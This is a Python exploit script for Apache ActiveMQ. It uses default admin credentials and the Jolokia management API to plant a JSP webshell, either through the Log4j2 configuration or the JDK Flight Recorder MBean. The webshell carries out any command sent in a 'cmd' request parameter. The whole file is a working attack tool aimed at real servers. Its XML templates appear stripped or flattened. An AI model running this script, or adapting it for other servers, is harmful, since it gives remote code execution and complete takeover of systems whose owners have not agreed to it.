#!/usr/bin/env python3 import sys import logging import requests import argparse import time from urllib.parse import urljoin from html import escape logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') webshell = ('<% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); ' 'out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), "utf-8")); %>') original_template = r''' ''' evil_template = r''' ''' record_template = r''' true true 1000 ms true everyChunk true 1000 ms true true true true true 20 ms true true 20 ms true true 20 ms true true 20 ms false true 20 ms true true 0 ms true true 0 ms true true 0 ms true true false true 0 ms false true false true beginChunk true beginChunk true 20 ms true 20 ms true 10 ms false 10 ms false 10 ms false 10 ms false 10 ms false 10 ms true 10 ms true true true everyChunk true beginChunk true beginChunk true beginChunk true beginChunk true beginChunk true beginChunk true beginChunk true true true true true true true false everyChunk true everyChunk true beginChunk true beginChunk true beginChunk true beginChunk false true true true true true true true true true true true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms true 0 ms false 0 ms false 0 ms true 0 ms true true true true true true true true true false false true false true true false everyChunk false false everyChunk false true false 0 ns true beginChunk true 1000 ms true 1000 ms true 60 s false false true beginChunk true everyChunk true 100 ms true beginChunk true everyChunk true true beginChunk true beginChunk true beginChunk true 10 s true 1000 ms true 10 s true beginChunk true endChunk true 5 s true beginChunk true everyChunk false true false true true everyChunk true endChunk true endChunk true true 20 ms true true 20 ms true true 20 ms true true 20 ms true true 20 ms false true false true false true false true false true true true true 1000 ms true true true true true 10 ms true 0 ms true 10 ms true 10 ms 20 ms 20 ms 20 ms false ''' class Application(object): def __init__(self, url, username, password): self.url = url self.session = requests.session() self.session.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/117.0.5938.132 Safari/537.36', 'Origin': url, } self.session.auth = (username, password) def request(self, method: str, path: str, *args, **kwargs): data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json() assert data['status'] == 200 return data def find_mbean_name(self): data = self.request('GET', '/api/jolokia/list') for name, val in data['value'].items(): if name == 'org.apache.logging.log4j2': for type_name in val.keys(): if type_name.startswith('type='): return f'{name}:{type_name}' for name, val in data['value'].items(): if name == 'jdk.management.jfr': for type_name in val.keys(): if type_name == 'type=FlightRecorder': return f'{name}:{type_name}' raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr') def modify_config(self, mbean: str, template: str): self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean=mbean, operation='setConfigText', arguments=[template, 'utf-8'] )) def exploit_log4j(self, mbean: str): self.modify_config(mbean, evil_template) logging.info('update log config') self.request('GET', '/api/jolokia/version', headers={ 'User-Agent': f'Mozilla ||| {webshell} |||' }) logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id')) self.modify_config(mbean, original_template) logging.info('restore log config') def exploit_jfr(self): record_id = self.create_record() logging.info('create flight record, id = %d', record_id) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='setConfiguration', arguments=[record_id, record_template] )) logging.info('update configuration for record %d', record_id) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='startRecording', arguments=[record_id] )) logging.info('start record') time.sleep(1) self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='stopRecording', arguments=[record_id] )) logging.info('stop record') self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='copyTo', arguments=[record_id, 'webapps/admin/shelljfr.jsp'] )) logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id')) def exploit(self, action='auto'): mbean = self.find_mbean_name() if action == 'log4j': logging.info('choice MBean org.apache.logging.log4j2 manually') self.exploit_log4j(mbean) elif action == 'jfr': logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually') self.exploit_jfr() elif mbean.startswith('org.apache.logging.log4j2'): logging.info('choice MBean %r automatically', mbean) self.exploit_log4j(mbean) else: logging.info('choice MBean %r automatically', mbean) self.exploit_jfr() def create_record(self): data = self.request('POST', '/api/jolokia/', json=dict( type='exec', mbean='jdk.management.jfr:type=FlightRecorder', operation='newRecording', arguments=[] )) return data['value'] def main(): parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ') parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console') parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console') parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit') parser.add_argument('url', type=str) args = parser.parse_args() app = Application(args.url, args.username, args.password) app.exploit(args.exploit) if __name__ == '__main__': main()